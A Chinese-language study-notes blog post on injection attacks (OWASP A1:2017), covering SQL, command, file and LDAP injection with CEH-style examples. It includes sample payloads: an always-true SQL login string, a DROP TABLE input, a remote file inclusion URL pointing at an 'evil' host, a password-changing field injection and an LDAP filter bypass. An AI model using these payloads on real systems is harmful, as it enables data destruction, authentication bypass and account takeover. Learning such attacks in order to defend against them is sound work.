iT邦幫忙

第 11 屆 iThome 鐵人賽

DAY 12
1
Security

不小心飛進資安之旅(學習筆記)系列 第 12

Day12 常見的攻擊手法-Injection注入

  • 分享至 

  • xImage
  •  

A1:2017-Injection 注入

注入缺陷是Web應用程序漏洞,允許將不受信任的資料來解釋作為命令或査詢的一部分並執行這些資料,攻擊者利用建構惡意指令導致資料丟失或損壞、缺乏責任或拒絕訪問令或査詢來注入漏洞,注入缺陷在遺留程式碼中普遍存在,通常出現在SQLLDAPXPATH査詢等中,應用程序漏洞掃描器和模糊器很容易發現

影響:控制資料庫系統,進而竊取資料

SQL Injection

SQL注入已成為資料庫驅動網站的常見問題。利用程式開發者未嚴格限制使用者輸入與未過濾特殊字串,攻擊者將惡意的SQL程式碼經由網頁傳送至伺服器後端資料庫並執行。
攻擊者可以使用易受攻擊的Web應用程序繞過常規安全措施,直接訪問有價值的資料,SQL注入攻擊通常可以從登錄帳號、密碼、地址欄或應用程序欄位內以及通過査詢和蒐索執行SQL命令。成功的SQL注入漏洞可以從資料庫讀取敏感資料,攻擊者可能會修改(插入,更新或刪除)資料庫,對資料庫執行管理操作(例如關閉),甚至對資料庫進行DOS攻擊。

例如,網站上的Web表單可能會請求用戶的帳戶名,然後將其發送到資料庫,以便使用動態SQL提取相關的帳戶信息,如下所示:

“ SELECT * FROM Users WHERE account ='“ + userProvidedAccountNumber +”';”

雖然此方法適用於正確輸入其帳號的用戶,但它給攻擊者留下了漏洞。例如,如果某人決定提供帳號 “‘ or ‘1’ = ‘1’”,則會導致查詢字符串為:

“SELECT * FROM users WHERE account = ‘’ or ‘1’ = ‘1’;”

因為'1'='1'總是計算為TRUE,所以資料庫將為所有用戶返回資料(而不是單個用戶)。

  • SQL Injection流程:
    1.攻擊者將此程式碼發送到資料庫server時,則删除訊息表
    test');DROP TABLE Messages;--
    
    2.到web browser 
    3.到Internet
    4.SQL Injection 含有漏洞的代碼
     <?php
        function save_email($user,$message)
        {
            $sql= "INSERT INTO Messages(
                                    user,message
                                    )VALUES(
                                '$user',
            '$message'
                )";
                return mysql_query($sql);
        }
    ?>
    

Command Injection

它涉及通過web應用程序注入惡意程式碼,如果用戶能夠在任何用戶輸入字段上註入操作系統命令,則可能導致攻擊者註入惡意命令以從Web服務器獲取敏感信息。

  • Shell Injection:製作一個輸入字串取得訪問權限,攻擊者會嘗試輸入字符串以取得 shell 存取 web 伺服器。
    Shell Injection功能包括system(),StartProcess(),java.lang.Runtime.exec(),System.Diagnostics.Process.Start(),以及類似的API
  • HTML Embedding:這類型的攻擊是用來破壞網站。使用這種攻擊中,攻擊者增加了額外的HTML的內容到易受影響的 web 應用程式, 在HTML中嵌入的攻擊,用戶輸入到web腳本被放置到輸出HTML,而不檢查HTML代碼或腳本
  • File Injection:利用漏洞和注入惡意Code注入系統文件
    攻擊者在www.jasoneval.com 注入一個遠程託管文件包含漏洞,文件注入攻擊使攻擊者利用server上易受傷害的腳本中使用遠程文件,而不是一個可信任文件從本地文件系統
    http://www.juggyboy.com/vulnerable.php?COLOR=http://evil/ exploit?
    

Command Injection 注入例子

攻擊者啟動代碼注入惡意程式碼:

www.juggyboy.com/banner.gif | | newpassword | | 1036 | 60 | 468
  1. 攻擊者進入的惡意代碼(帳號)與新的密碼
  2. 最後兩組數字,橫幅大小
  3. 一旦攻擊者點擊提交按鈕,該帳戶1036的密碼更改為“新密碼”
  4. 服務器腳本假定只有橫幅圖像文件的URL插入到該字段
  5. 在server腳本輸入驗證,利用在這次攻擊中使用的資料庫INSERT和UPDATE記錄命令

LDAP (Lightweight Directory Access Protoco,輕型目錄訪問協定) Injection

集中管理使用者與認證資訊的一種機制,類似SQL Injection攻擊手法,差異在於攻擊對象不同,針對LDAP 系統。
一個LDAP注入技術來充分利用未驗證的Web應用程序的輸入漏洞通過用於搜索目錄服務,以獲得LDAP樹後面直接訪問數據庫的LDAP過濾器

  • 什麼是LDAP?
    LDAP目錄服務根據其内容存儲和組織資訊。資訊按層次結構組織為目錄項樹

  • LDAP是基於客戶-服務模型和客戶端可以使用篩檢程式搜索目錄條目

  • LDAP注入與SQL注入的工作原理相同,在SQL注入中,攻擊者試圖輸入任意數據以製作由LDAP服務器執行的惡意查詢。

  • 流程

  1. LDAP注入攻擊是類似於SQL注入攻擊但利用用戶參數來生成LDAP查詢
  2. 為了測試如果應用程序是容易受到LDAP代碼注入,將查詢發送到該生成無效的輸入服務器的含義。如果LDAP服務器返回一個錯誤,它可以與代碼注入技術被利用
  • 如果攻擊者輸入有效的用戶名“juggyboy”,並注入juggyboy)(&)),則URL字符串變為(&(USER = juggyboy)(&))(PASS =blah))僅在第一濾波器由LDAP處理服務器中,僅查詢(&(USER = juggyboy)(&))進行處理。該查詢始終是真實的,而攻擊者登錄到系統中沒有一個有效的密碼。

主要目的是利用跳脫字元繞過登入驗證:
影響:繞過登入驗證

語法 屬性運算符值
Operator Example
= objectclass=user
>= mdbStorageQuota>=100000
<= mdbStorageQuota<=100000
~= displayName~=Poeckeler
* displayName=*John*
AND(&) (&(objectclass=user)(displayName=John)
`OR( ) `
NOT(!) (!objectClass=group)

參考資料:

  1. CEHv9
  2. secbuzzer(資安威脅情資平台):https://secbuzzer.co/post/116
  3. OWASP Top 10:https://www.owasp.org/index.php/Category:OWASP_Top_Ten_2017_Project
  4. 趨勢科技-注入攻擊: https://blog.trendmicro.com.tw/?p=57572
  5. 常見的攻擊類型: https://blog.netwrix.com/2018/05/15/top-10-most-common-types-of-cyber-attacks/#SQL%20injection%20attack

上一篇
Day 11 常見的攻擊手法-OWASP TOP 10
下一篇
Day13 常見的攻擊手法-SQL注入
系列文
不小心飛進資安之旅(學習筆記)20
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言